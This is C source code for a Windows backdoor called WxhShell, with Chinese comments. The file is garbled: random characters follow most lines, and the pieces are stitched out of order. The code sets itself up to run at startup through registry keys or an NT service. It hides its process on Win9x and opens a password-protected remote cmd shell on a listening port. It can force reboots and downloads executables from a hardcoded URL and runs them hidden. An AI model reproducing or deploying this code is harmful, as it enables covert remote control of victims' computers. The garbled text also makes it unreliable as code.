    if(Boot(SHUTDOWN)) )N7Y^CN~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4\Tl\SZ?  
    else { P} 0%-JC  
    closesocket(wsh); v":x4!kdX  
    ExitThread(0); mt,OniU=Q  
    } 0=AVW`J  
    break; BT}!W`  
    } 3E!|<q$ z  
  // 获取shell 1Cv-  
  case 's': { z([ v%zf  
    CmdShell(wsh); 7f0lQ  
    closesocket(wsh); K`u(/kz/<  
    ExitThread(0); `HZ;NRr  
    break; |}(`kW  
  } FaDjLo2'o  
  // 退出 mP0yk|  
  case 'x': { ,*7 (%k^`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y:~ZLTAv  
    CloseIt(wsh); C|}iCB  
    break; -o $QS,  
    } '}B+r@YCN  
  // 离开 Gn ~6X-l  
  case 'q': { G!>z;5KuS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;/r1}tl+3>  
    closesocket(wsh); xKuRh}^K  
    WSACleanup(); 8~J(](QA  
    exit(1); 0yuS3VY)  
    break; {^\+iK4bS  
        } qI#;j%V  
  } ABD)}n=%c  
  } e?JW   
i{`FmrPO~  
  // 提示信息 $a ]_w.@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4 QvsBpz@  
} eU".3`CtY  
  } 4KIRHnaj  
'>cKH$nVC}  
  return; 95A1:A^t  
} Xq_5Qv  
YjxF}VI~<  
// shell模块句柄 3%E }JU?MM  
int CmdShell(SOCKET sock) cx&>#8s&  
{ }o(zj=7  
STARTUPINFO si; _AAaC_q  
ZeroMemory(&si,sizeof(si)); !g5xq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bpH^:fyLU`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vms|x wb  
PROCESS_INFORMATION ProcessInfo; $~VRza 8Q  
char cmdline[]="cmd"; K 1 a\b"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lij.N) E  
  return 0; bdC8zDD  
} M>~Drul  
`$,GzS(  
// 自身启动模式 y9q8i(E0  
int StartFromService(void) LBM ^9W  
{ :.Jf0  
typedef struct +av@$}  
{ W6?pswQ  
  DWORD ExitStatus; v"b+$*  
  DWORD PebBaseAddress; K{|p~B  
  DWORD AffinityMask; *>|gxM8  
  DWORD BasePriority; + +M$#Er&  
  ULONG UniqueProcessId; 'ig&$fzb  
  ULONG InheritedFromUniqueProcessId; #_6I w`0  
}   PROCESS_BASIC_INFORMATION; g!lWu[d  
$Tu61zq  
PROCNTQSIP NtQueryInformationProcess; i V'k}rXC  
o4m\~as)Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k5:G-BQ:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9 Vkb>yFX'  
Nl^;A> <u  
  HANDLE             hProcess; B@&4i?yJ  
  PROCESS_BASIC_INFORMATION pbi; C G0 M  
!W5 (  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F Sw\_[^CQ  
  if(NULL == hInst ) return 0; ok!L.ac  
'*5i)^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _F>CBG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \fG#7_wt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =]6%G7T  
+x0!*3q  
  if (!NtQueryInformationProcess) return 0; (7*%K&x  
,w {e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >, F bX8Zz  
  if(!hProcess) return 0; oB}BU`-l  
A#.edVj.g4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZCmgs4W!  
LAB=Vp1y3[  
  CloseHandle(hProcess); ,?>s>bHV  
X:HacYqtC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T ]t'39  
if(hProcess==NULL) return 0; ZrPbl "`7  
KN<S}3MN  
HMODULE hMod; /N=b\-]  
char procName[255];  6:b! F  
unsigned long cbNeeded; s}w{:Hk,x8  
h2Ld[xvCu%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )J2mM  
 gbF+WE  
  CloseHandle(hProcess); L2\#w<d  
]V^iN=(_5  
if(strstr(procName,"services")) return 1; // 以服务启动 Xe$I7iKD  
RRmz"j>  
  return 0; // 注册表启动 ULs\+U  
} ;_c;0)  
IpYM;tYw&  
// 主模块 pMw*9s X  
int StartWxhshell(LPSTR lpCmdLine) IwQ"eUnK  
{ eD,.~Y#?=  
  SOCKET wsl;  _zY# U9  
BOOL val=TRUE; &dqLP9 5  
  int port=0; C _'%N lJ'  
  struct sockaddr_in door; .+PI}[g  
u+Y\6~=+  
  if(wscfg.ws_autoins) Install(); %|auAq&w  
Hx"ob_^'7  
port=atoi(lpCmdLine); nV"~-On  
CAfGH!l!  
if(port<=0) port=wscfg.ws_port; ((H^2KJn  
t<#TJ>Le  
  WSADATA data; th  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O#ai)e_uQk  
??^5;P{yx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GWZ }7ake  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `, OG7hg  
  door.sin_family = AF_INET; @5N]ZQ9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); smlpD3?va  
  door.sin_port = htons(port); ;rF\kX&Jh  
)(bW#-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h;p>o75O  
closesocket(wsl); mk;&yh  
return 1; 4w*Skl=F}  
} fz|cnU  
IHB} `e|  
  if(listen(wsl,2) == INVALID_SOCKET) { >"^ O"E  
closesocket(wsl); Nv#t:J9f  
return 1; ;Y 00TGU  
} 2^r <{0@n  
  Wxhshell(wsl); 6</xL9#/  
  WSACleanup(); zBCtd1Xrni  
A 9( x  
return 0; 3x`|  
" un]Gc   
} um jt]Gu[  
zwhe  
// 以NT服务方式启动 L uq#9(P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k Z?=AXu  
{ `95r0t0hh\  
DWORD   status = 0; abuh`H#  
  DWORD   specificError = 0xfffffff; fY{1F   
9Vg?{v!yn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;y,5k?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3k\#CiB{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g2BHHL;`  
  serviceStatus.dwWin32ExitCode     = 0; WA5&# kg\  
  serviceStatus.dwServiceSpecificExitCode = 0; /NLui@|R  
  serviceStatus.dwCheckPoint       = 0; G? ])o5  
  serviceStatus.dwWaitHint       = 0; t>L;kRujVJ  
FtpK)9/4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I4'5P}1yp  
  if (hServiceStatusHandle==0) return; )F}F_Y  
Lb!Fcf|h  
status = GetLastError(); ?qP7Y nl  
  if (status!=NO_ERROR) MX$0Op  
{ !=pn77`g >  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $|L Sx  
    serviceStatus.dwCheckPoint       = 0; ynq}76 H0k  
    serviceStatus.dwWaitHint       = 0; N@2dA*T,  
    serviceStatus.dwWin32ExitCode     = status; \z>fb%YW  
    serviceStatus.dwServiceSpecificExitCode = specificError; `nUXDmdwzO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ),0g~'I~D  
    return; d?ex,f.  
  } gR&Q3jlIV  
R_ B7EP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B~6&{7 xc%  
  serviceStatus.dwCheckPoint       = 0; P Y_u/<u  
  serviceStatus.dwWaitHint       = 0; 34`'M+3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N nRD|A  
} Nkjza:f{  
\MA+f~)9  
// 处理NT服务事件,比如:启动、停止 qz+dmef  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c?tBi9'Y]  
{ q_Q/3rh  
switch(fdwControl) y0Fb_"}  
{ &:;:"{t}Do  
case SERVICE_CONTROL_STOP: ~FZ&.<s  
  serviceStatus.dwWin32ExitCode = 0; U\ ig:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -?H#LUk  
  serviceStatus.dwCheckPoint   = 0; &b.=M>\9Q  
  serviceStatus.dwWaitHint     = 0; F0pir(n-  
  { [glLre^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 35A|BD) q  
  } ?8I?'\F;  
  return; zkt+7,vI  
case SERVICE_CONTROL_PAUSE: <->{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o15-ZzE-  
  break; "~#3&3HVS  
case SERVICE_CONTROL_CONTINUE: N,`$M.|?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,KF 'TsFf  
  break; #pT"BSz]  
case SERVICE_CONTROL_INTERROGATE: Vrjc~>X  
  break; -c_74c50  
}; viW!,QQ(S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ({ 8-*  
} US+Q~GTA  
.?D7dyU l1  
// 标准应用程序主函数 `n.5f[wC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %oF}HF.  
{ $I!XSz"/e  
_ q(ko/T  
// 获取操作系统版本 61Bwb]\f/|  
OsIsNt=GetOsVer(); }d[ kxo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bbtGXfI+SB  
dV*]f$wQ  
  // 从命令行安装 +dWDxguE{w  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y4OPEo5o  
(jnzT=y  
  // 下载执行文件 [/PR\'|  
if(wscfg.ws_downexe) { ")_|69 VX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zbXI%  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3oBtP<yG.  
} $'0u|Xy`  
%r<rcY  
if(!OsIsNt) { NC8t) X7  
// 如果时win9x,隐藏进程并且设置为注册表启动 0m7Y>0wC6T  
HideProc(); S(o#K|)>  
StartWxhshell(lpCmdLine);  H_B4  
} qPWP&k  
else }HL]yDO  
  if(StartFromService()) 9"@\s$ OBk  
  // 以服务方式启动 q YC;cKv  
  StartServiceCtrlDispatcher(DispatchTable); {i1| R"ta  
else !xzeMVI  
  // 普通方式启动 O6Vtu Ws%  
  StartWxhshell(lpCmdLine); }^4Xv^dW>g  
@y e4q.m  
return 0; G[B=>Cy  
} V("{)0~O  
T!-\@PB !  
y>R=`A1b  
~9?cn  
=========================================== Av @b!iw+  
Y_Eb'*PY  
wGU*:k7p  
Hj'xAtx5  
xqXo0  
\K_ET> !  
" z(o,m3@v  
O ~(pg  
#include <stdio.h> !ds"9w  
#include <string.h> 1;d$#j  
#include <windows.h> 8a &:6Zuo  
#include <winsock2.h> Zvhsyz|  
#include <winsvc.h> JBD7h5|Lc  
#include <urlmon.h> ,f kcp]}  
&w4?)#  
#pragma comment (lib, "Ws2_32.lib") `0rd26Qro  
#pragma comment (lib, "urlmon.lib") }Dp*}=?E  
SIe="YG]<  
#define MAX_USER   100 // 最大客户端连接数 /;{P}-H`ei  
#define BUF_SOCK   200 // sock buffer l+ 3[ KCE  
#define KEY_BUFF   255 // 输入 buffer *xc_k"\  
h~A/y!s  
#define REBOOT     0   // 重启 IWBX'|}K  
#define SHUTDOWN   1   // 关机 Q.bXM?V)  
A_n7w  
#define DEF_PORT   5000 // 监听端口 Pih tf4i  
!y#"l$"xK  
#define REG_LEN     16   // 注册表键长度 < 3(LWxw  
#define SVC_LEN     80   // NT服务名长度 uvgdY  
h}-3\8 >  
// 从dll定义API oYHj~t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XoXM ^*Vk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s|@6S8E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kM!kD4&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d; [C6d  
?8HHA: GP  
// wxhshell配置信息 "-y-iJ  
struct WSCFG { < |e,05aM  
  int ws_port;         // 监听端口 p$SX  
  char ws_passstr[REG_LEN]; // 口令 r)qnl9?;`]  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2C2fGYu  
  char ws_regname[REG_LEN]; // 注册表键名 ,9?BcD1  
  char ws_svcname[REG_LEN]; // 服务名 ai}mOyJs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8][nmjk0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X$%'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XV!6dh!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }{M#EP8q+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kSC}aN'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U!T~!C^  
WJ)z6m]  
}; w'L\?pI  
mrTlXXz  
// default Wxhshell configuration A+HF@Uw}^  
struct WSCFG wscfg={DEF_PORT, <Q$@r?Mu]  
    "xuhuanlingzhe", r[1i*b$  
    1, :WQ^j!9'  
    "Wxhshell", ODZ5IO}v  
    "Wxhshell", QS0:@.}$E)  
            "WxhShell Service", PEc,l>u9  
    "Wrsky Windows CmdShell Service", Gb"r|(!  
    "Please Input Your Password: ", l|xZk4@_uE  
  1, _a_7,bk5  
  "http://www.wrsky.com/wxhshell.exe", QFfK0X8cC  
  "Wxhshell.exe" NHB4y/2  
    }; SH3|sXH<  
9Kr+\F  
// 消息定义模块 r$5i Wu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .#wqXRd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J~=n`pW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >oea{u  
char *msg_ws_ext="\n\rExit."; )S`jFQ1  
char *msg_ws_end="\n\rQuit."; ktI/3Mb@  
char *msg_ws_boot="\n\rReboot..."; n 9\ C2r  
char *msg_ws_poff="\n\rShutdown..."; tc_286'x  
char *msg_ws_down="\n\rSave to "; D@G\7 KH@  
)64@2 ~4y  
char *msg_ws_err="\n\rErr!"; ! N|0x`  
char *msg_ws_ok="\n\rOK!"; .e3NnOzyxS  
`L:CA5sBud  
char ExeFile[MAX_PATH]; )X04K~6lY  
int nUser = 0; u?>B)PW  
HANDLE handles[MAX_USER]; V7#Ffi  
int OsIsNt; Xm+8  
'iy*^A `Y  
SERVICE_STATUS       serviceStatus; Nb?w|Ne(T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CxGx8*<X  
*ohL&'y  
// 函数声明 5pU2|Bk /  
int Install(void); ~i@Y|38C  
int Uninstall(void); -D xL0:E  
int DownloadFile(char *sURL, SOCKET wsh); 9Kg21-?  
int Boot(int flag); GRMiQa  
void HideProc(void); ]"+95*B  
int GetOsVer(void); Q#^Qv.s?K  
int Wxhshell(SOCKET wsl); )=\# UE+W  
void TalkWithClient(void *cs); ktnuNsp  
int CmdShell(SOCKET sock); m1n.g4Z&*  
int StartFromService(void); jxiC Kx,G  
int StartWxhshell(LPSTR lpCmdLine); U;bK!&Z  
}>)@WL:q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lJ+0P2@h*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J%V-Q>L  
 XEC(P  
// 数据结构和表定义 Av?2<  
SERVICE_TABLE_ENTRY DispatchTable[] = \2nUa ;  
{ Q F-LU  
{wscfg.ws_svcname, NTServiceMain}, UUF ;p2{f  
{NULL, NULL} ub7zA!%  
}; 6UevpDB  
df*5,NV'-*  
// 自我安装 h\7fp.  
int Install(void) cKN$ =gd  
{ ex+\nD>t4  
  char svExeFile[MAX_PATH]; Wqc)Fv70m  
  HKEY key; _nD$b={g  
  strcpy(svExeFile,ExeFile); D,;\o7V  
wtmB+:I  
// 如果是win9x系统,修改注册表设为自启动 O_cbP59Y.  
if(!OsIsNt) { ?gJOgsHJP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V~S0hqW[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0OT\"O~S[  
  RegCloseKey(key); ~ns7O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T(AVlI6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S5KEXnjm  
  RegCloseKey(key); hj  
  return 0; )>b.;  
    } jAy^J(+  
  } ak ->ML  
} z?[r  
else { 48jVRo  
ikSF)r;*t  
// 如果是NT以上系统,安装为系统服务 Glxuz0]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =1O<E  
if (schSCManager!=0) O$D'.t  
{ zS\E/.X2  
  SC_HANDLE schService = CreateService n8uv#DsdK  
  ( I&MY{f  
  schSCManager, a\IP12F?  
  wscfg.ws_svcname, a^Tm u  
  wscfg.ws_svcdisp, |fxA|/ s[<  
  SERVICE_ALL_ACCESS, 0q.Ujm=,z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vohoLeJTj  
  SERVICE_AUTO_START, SfJA(v@E  
  SERVICE_ERROR_NORMAL, N>Eqj>G  
  svExeFile, `(v='$6}  
  NULL, O=v#{ [  
  NULL, smdZxFl  
  NULL, NB\{'  
  NULL, TT50(_8  
  NULL YX=2jI  
  ); BBH0OiV=  
  if (schService!=0) `Ja?fI'H-  
  { !>BZ6gn5  
  CloseServiceHandle(schService); v^)bhIPe;  
  CloseServiceHandle(schSCManager); +E1I");  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CNr/U*+  
  strcat(svExeFile,wscfg.ws_svcname); vo\fUT@k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2-=\~<)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j<2m,~k`V  
  RegCloseKey(key); w?zKjqza=v  
  return 0; 56e r`=ms  
    } ~/8M 3k/  
  } 4(Ov1a>  
  CloseServiceHandle(schSCManager); .!1S[  
} G2]4n T  
} K =C!b?  
oY1';&BO9  
return 1; '" X_B0k  
} c9kzOQ2n  
2pzF5h  
// 自我卸载 'fcMuBc+ 4  
int Uninstall(void) "Fy7K#n  
{ 0O\SU"bP  
  HKEY key; ZDD..j  
fwrJ!j  
if(!OsIsNt) { "t({D   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5DXR8mLoaJ  
  RegDeleteValue(key,wscfg.ws_regname); :(a]V"(&Eq  
  RegCloseKey(key); e1>aTu@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! iptT(2  
  RegDeleteValue(key,wscfg.ws_regname); %V1Z~HC  
  RegCloseKey(key); P6 ;'Sza  
  return 0; Di@GY!  
  } 4Sm]>%F':  
} % r-V2)  
} p. R2gl1m  
else { 3' ~gvi I  
lz?;#U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &?uz`pv2  
if (schSCManager!=0) HQUeWCN  
{ .s<*'B7&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v1|Bf8  
  if (schService!=0) >iOzl wmG  
  { /0W9g  
  if(DeleteService(schService)!=0) { @*0cMO;SpG  
  CloseServiceHandle(schService); *?z0$Kz<,[  
  CloseServiceHandle(schSCManager); _(d.!qGz  
  return 0; h)6GaJ=  
  } xXY.AoO6  
  CloseServiceHandle(schService); }R)=S_j  
  } QJ F=UB  
  CloseServiceHandle(schSCManager); 1=|7mehL%  
} {^ m(,K_  
} ?_oF:*~\  
277ASCWLkU  
return 1; UWZa|I~:J  
} e/*$^i+S  
|.F  
// 从指定url下载文件 V~T@6S  
int DownloadFile(char *sURL, SOCKET wsh) J0 k  
{ :-iMdtm  
  HRESULT hr; Ja]?&j  
char seps[]= "/"; Z1ALq5  
char *token; kW`r=u  
char *file; 'DCFezdf3  
char myURL[MAX_PATH]; 5jgdbHog]  
char myFILE[MAX_PATH]; j}BHj.YuP  
{ F'Kk\f%:  
strcpy(myURL,sURL); ?\U!huu  
  token=strtok(myURL,seps); Wxk x,q?  
  while(token!=NULL) Nrah;i+H\o  
  { Gy,u^lkk:  
    file=token; j7MO'RX`&  
  token=strtok(NULL,seps); Xt{*N-v\  
  } -UZ@G~K  
]&ixhW  
GetCurrentDirectory(MAX_PATH,myFILE); 7QVuc!V  
strcat(myFILE, "\\"); Uz608u  
strcat(myFILE, file); R7s|`\  
  send(wsh,myFILE,strlen(myFILE),0); {/ LZcz[  
send(wsh,"...",3,0); 9'DtaTmGW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O1D6^3w  
  if(hr==S_OK) 6cdMS[_SD(  
return 0; ?sBh=Ds  
else B/J>9||g  
return 1; N7%TYs  
v! 42 DA)  
} ckjrk  
,;<RW]r-P  
// 系统电源模块 sBK <zR  
int Boot(int flag) 7 uMd ZpD  
{ T *I?9d{k  
  HANDLE hToken; tu>{  
  TOKEN_PRIVILEGES tkp; iB1i/l  
RGIoI ]_  
  if(OsIsNt) { BPqGJ7@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jJ3zF3Id  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0@5E|<A  
    tkp.PrivilegeCount = 1; 6yu]GK} es  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "BKeot[""p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sVoW =4V8  
if(flag==REBOOT) {  :Pq.,s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `W `0Fwu9  
  return 0; #fs|BV !  
} IN7<@OS7  
else { xU S]P)R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9p@C4oen  
  return 0; ?/M_~e.P  
} m7=1%6FN3  
  } #FYAV%pi  
  else { #hL*r bpT  
if(flag==REBOOT) { j2M+]Zp.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2X88:  
  return 0; .mL#6P!d3^  
} W~ULc 9  
else { ?0<w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8BXqZVm.  
  return 0; Y-~~,Yl~  
} h?UVDzI!O  
} a :HNg  
;`v% sx#  
return 1; }:z5t,u6  
} h:/1X' 3d  
cPn+<M#  
// win9x进程隐藏模块 ,>LRa  
void HideProc(void) la$%H<,7  
{ Rt(J/%;  
*Q}[ ]g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (LJ@S eM;  
  if ( hKernel != NULL ) E-ZRG!)[v  
  { E1Q0k5@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b!$}ma;B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kw,$NK'  
    FreeLibrary(hKernel); /.V0ag'G  
  } #\4 b:dv  
~^N]y b  
return; uH\kQ9f  
} ?mRE'#  
{SG>'KXZ  
// 获取操作系统版本 :Dl% _l  
int GetOsVer(void) >_ X/[<  
{ X1A<$Am1  
  OSVERSIONINFO winfo; Vf-5&S&9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~!+ _[uJ  
  GetVersionEx(&winfo); cs_}&!c{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zv qn%K],  
  return 1; $T }Tz7(  
  else -NM0LTF  
  return 0; }Ia 0"J4  
} H5nS%D  
^m7~:=K7WG  
// 客户端句柄模块 3+YbA)i;  
int Wxhshell(SOCKET wsl) h ?#@~  
{ jB@4b 'y  
  SOCKET wsh; dL;HV8z^  
  struct sockaddr_in client; kJ=L2g>W<.  
  DWORD myID; 3gfimD$_E  
0,FC YTtj$  
  while(nUser<MAX_USER) Ie'P#e'  
{ X;fy\HaU  
  int nSize=sizeof(client); 45}v^|Je\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  s&*yk p  
  if(wsh==INVALID_SOCKET) return 1; BIWD/ |LQ  
b;9n'UX\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :kw0y  
if(handles[nUser]==0) O|v (5 8A  
  closesocket(wsh); J\W-dI  
else CJNG) p  
  nUser++; P#G.lft"O  
  } cfoYnM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B} *V%}:)  
5M?mYNQR/H  
  return 0; A['uD<4b  
} y7zkAXhJ  
IG.f=+<0  
// 关闭 socket 6 ,N6jaW  
void CloseIt(SOCKET wsh) Li`hdrO'ii  
{ ]TK=>;&  
closesocket(wsh); 3n(*E_n  
nUser--; t&c&KFK)I&  
ExitThread(0); pZ+j[!  
} T$b\Q  
D6=HYqdj  
// 客户端请求句柄 <jd/t19DB  
void TalkWithClient(void *cs) hWGZd~L  
{ gOE_ ]  
gM_:l  
  SOCKET wsh=(SOCKET)cs; {HZS:AV0  
  char pwd[SVC_LEN]; zS% m_,t  
  char cmd[KEY_BUFF]; ]XrE  
char chr[1]; Hbr^vYs5  
int i,j; b!~TAT&8  
 *q"G }  
  while (nUser < MAX_USER) { [V< 1_zqt  
5~\Kj#PBx  
if(wscfg.ws_passstr) { N+>'J23d!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,OBQv.D3>a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t* z'c  
  //ZeroMemory(pwd,KEY_BUFF); 5upShtC  
      i=0; w yD%x(  
  while(i<SVC_LEN) { I #l;~a<9z  
>_#)3K1y8  
  // 设置超时 Ff/Ig]Lb  
  fd_set FdRead; r%!FmS<  
  struct timeval TimeOut; mq`5w)S)\o  
  FD_ZERO(&FdRead); T0L+z/N_m.  
  FD_SET(wsh,&FdRead); A#:8X1w  
  TimeOut.tv_sec=8; 3bH5C3(u  
  TimeOut.tv_usec=0; 7jezw'\=~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )l2P}k7`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `Yogq)G}  
-c$z 2Q)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 92(~'5Qr  
  pwd=chr[0]; FrR9{YTA .  
  if(chr[0]==0xd || chr[0]==0xa) { j7sU0"7^  
  pwd=0; Z}f^qc+  
  break; XIN5a~[z*  
  } LD@7(?mlU  
  i++; 7ti<  
    } ;l`X!3  
lQr6;D}+  
  // 如果是非法用户,关闭 socket -RCv7U`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m3%ef  
} LY1KQuY  
ftW{C1,U7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +G\0L_B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O2@" w23  
Q2R-z^pd  
while(1) { H:E5xz3VQ  
ris;Iu^v0  
  ZeroMemory(cmd,KEY_BUFF); @fDQ^ 4  
NV(fN-L  
      // 自动支持客户端 telnet标准   R8{e&n PE  
  j=0; b60[({A\s&  
  while(j<KEY_BUFF) { b#}t:yy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?k w/S4  
  cmd[j]=chr[0]; bQ=s8'  
  if(chr[0]==0xa || chr[0]==0xd) { 0Ts!(b]B  
  cmd[j]=0; p9w%kM?  
  break; _}z_yu#jY  
  } ox JGJ  
  j++; |%3O) B  
    } hqWPf  
]g7HEB.Y  
  // 下载文件 cCYl$MskZ  
  if(strstr(cmd,"http://")) { xrX?ZJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dwk$CJb3-  
  if(DownloadFile(cmd,wsh)) /\TlO.B=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rN'.&;Y5  
  else 7zi"caY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Cml0}.O   
  } Flne=ij6g  
  else { @?j@yRe  
